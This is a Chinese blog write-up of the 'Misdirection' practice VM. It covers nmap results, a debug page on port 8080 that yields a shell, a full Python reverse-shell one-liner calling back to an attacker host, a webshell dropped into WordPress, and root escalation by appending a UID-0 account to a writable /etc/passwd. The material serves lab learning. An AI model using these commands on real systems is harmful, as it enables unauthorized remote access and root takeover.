misdirection靶机work_through

web打点

nmap扫描

Nmap scan report for 192.168.218.135
Host is up (0.000014s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 67:7b:cb:4e:95:1b:78:08:8d:2a:b1:47:04:8d:62:87 (ECDSA)
|_  256 59:04:1d:25:11:6d:89:a3:6c:6d:e4:e3:d2:3c:da:7d (ED25519)
80/tcp   open  http    Rocket httpd 1.2.6 (Python 2.7.15rc1)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 00:0C:29:8A:B7:C3 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

开始扫目录,识别web指纹

80端口的服务很奇怪,啥都能扫出来,但根据页面文章信息判断,这其实应该是个python写的

再看8080端口

这个debug引起了我的注意,进去看看
好家伙,直接一个shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.218.129',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

再弹一个其实也差不多,写了一个小马到word press目录方便文件上传之类的操作(就不用我手打wget命令了)。

提权

老思路先找suid(linux-exploit-suggester已经扫过一轮了,前几个基本都是21年的cve,感觉肯定存在别的提权方法)

事实上也确实学到了一个以往没注意的点。

在有/etc/passwd写入权限的情况下,通过写入一条账号密码,可以直接使用写入的账号密码登录服务器。

#本地按照Linux系统存储密码的方式加密一下密码
openssl passwd -1 test
#靶机上
echo 'wuerror:$1$1lSo01r2$TzSFfpcpzJIGwgyqri1520:0:0::/root:/bin/bash' >>/etc/passwd
#su must from a terminal
python -c "import pty; pty.spawn('/bin/bash')"
su wuerror

总结

回过头来看,这个靶机命名misdirection确实是有点暗示的,80端口应该就是个蜜罐,各种目录200,文件大小还一样。但808端口直接一个webshell未免有些敷衍了。
个人提权的思路确实有些不足:exp一把梭、suid特殊命令。这个靶机最大的收获应该是要注意与账号相关敏感目录的写权限。

posted @ 2021-05-05 20:48  wuerror  阅读(174)  评论(1编辑  收藏  举报